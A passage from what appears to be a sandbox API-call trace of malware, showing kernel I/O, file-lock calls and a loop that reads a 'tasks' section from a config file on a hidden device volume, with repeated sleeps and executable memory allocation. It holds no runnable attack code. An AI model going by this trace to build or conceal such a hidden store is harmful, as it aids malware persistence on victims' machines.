_Dest="0d24eb7c\\cfg.ini") returned 16 [0122.811] KeEnterCriticalRegion () [0122.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.811] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.811] IdePortDispatch () returned 0x103 [0122.811] KeWaitForMutexObject () returned 0x0 [0122.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.812] KeLeaveCriticalRegion () [0122.812] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.812] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.812] KeEnterCriticalRegion () [0122.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2a000 [0122.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.812] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.812] IdePortDispatch () returned 0x103 [0122.812] KeWaitForMutexObject () returned 0x0 [0122.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.812] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.812] IdePortDispatch () returned 0x103 [0122.812] KeWaitForMutexObject () returned 0x0 [0122.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.812] KeLeaveCriticalRegion () [0122.812] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.813] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.813] KeEnterCriticalRegion () [0122.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.813] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.813] KeLeaveCriticalRegion () [0122.813] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.813] KeEnterCriticalRegion () [0122.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.813] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.813] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.813] KeLeaveCriticalRegion () [0122.813] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.813] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.813] KeEnterCriticalRegion () [0122.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.813] ExFreePoolWithTag (P=0xfffffa8003be7300, Tag=0x0) [0122.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.813] KeLeaveCriticalRegion () [0122.813] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.813] ReleaseMutex (hMutex=0xf0) returned 1 [0122.813] Sleep (dwMilliseconds=0x927c0) [0122.827] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.827] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.827] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.827] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.827] KeEnterCriticalRegion () [0122.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.828] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.828] IdePortDispatch () returned 0x103 [0122.828] KeWaitForMutexObject () returned 0x0 [0122.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.828] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.828] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.828] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.828] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.828] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc5e0 [0122.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.828] KeLeaveCriticalRegion () [0122.828] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.828] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.828] KeEnterCriticalRegion () [0122.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.828] KeLeaveCriticalRegion () [0122.828] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.828] KeEnterCriticalRegion () [0122.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.828] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.828] IdePortDispatch () returned 0x103 [0122.828] KeWaitForMutexObject () returned 0x0 [0122.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.828] KeLeaveCriticalRegion () [0122.828] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.829] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.829] KeEnterCriticalRegion () [0122.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2f000 [0122.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.829] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.829] IdePortDispatch () returned 0x103 [0122.829] KeWaitForMutexObject () returned 0x0 [0122.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.829] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.829] IdePortDispatch () returned 0x103 [0122.829] KeWaitForMutexObject () returned 0x0 [0122.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.829] KeLeaveCriticalRegion () [0122.829] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.830] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.830] KeEnterCriticalRegion () [0122.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.830] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.830] KeLeaveCriticalRegion () [0122.830] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.830] KeEnterCriticalRegion () [0122.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.830] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.830] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.830] KeLeaveCriticalRegion () [0122.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.830] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.830] KeEnterCriticalRegion () [0122.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.830] ExFreePoolWithTag (P=0xfffffa8003bbc5e0, Tag=0x0) [0122.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.830] KeLeaveCriticalRegion () [0122.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.830] ReleaseMutex (hMutex=0xf0) returned 1 [0122.830] Sleep (dwMilliseconds=0x927c0) [0122.846] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.846] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.846] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.846] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.846] KeEnterCriticalRegion () [0122.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.846] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.846] IdePortDispatch () returned 0x103 [0122.846] KeWaitForMutexObject () returned 0x0 [0122.846] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.846] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.846] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.846] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.846] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.847] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7310 [0122.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.847] KeLeaveCriticalRegion () [0122.847] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.847] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.847] KeEnterCriticalRegion () [0122.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.847] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.847] KeLeaveCriticalRegion () [0122.847] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.847] KeEnterCriticalRegion () [0122.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.847] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.847] IdePortDispatch () returned 0x103 [0122.847] KeWaitForMutexObject () returned 0x0 [0122.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.847] KeLeaveCriticalRegion () [0122.847] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.847] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.847] KeEnterCriticalRegion () [0122.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d34000 [0122.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.847] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.847] IdePortDispatch () returned 0x103 [0122.847] KeWaitForMutexObject () returned 0x0 [0122.848] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.848] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.848] IdePortDispatch () returned 0x103 [0122.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.848] KeLeaveCriticalRegion () [0122.848] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.848] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.848] KeEnterCriticalRegion () [0122.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.848] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.849] KeLeaveCriticalRegion () [0122.849] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.849] KeEnterCriticalRegion () [0122.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.849] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.849] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.849] KeLeaveCriticalRegion () [0122.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.849] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.849] KeEnterCriticalRegion () [0122.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.849] ExFreePoolWithTag (P=0xfffffa8003be7310, Tag=0x0) [0122.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.849] KeLeaveCriticalRegion () [0122.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.849] ReleaseMutex (hMutex=0xf0) returned 1 [0122.849] Sleep (dwMilliseconds=0x927c0) [0122.863] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.863] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.863] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.863] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.863] KeEnterCriticalRegion () [0122.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.863] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.863] IdePortDispatch () returned 0x103 [0122.863] KeWaitForMutexObject () returned 0x0 [0122.863] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.863] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.863] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.863] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.863] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.863] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be43d0 [0122.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.863] KeLeaveCriticalRegion () [0122.863] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.863] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.863] KeEnterCriticalRegion () [0122.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.863] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.863] KeLeaveCriticalRegion () [0122.863] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.863] KeEnterCriticalRegion () [0122.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.863] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.864] IdePortDispatch () returned 0x103 [0122.864] KeWaitForMutexObject () returned 0x0 [0122.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.864] KeLeaveCriticalRegion () [0122.864] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.864] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.864] KeEnterCriticalRegion () [0122.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.864] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d39000 [0122.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.864] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.864] IdePortDispatch () returned 0x103 [0122.864] KeWaitForMutexObject () returned 0x0 [0122.864] _strnicmp 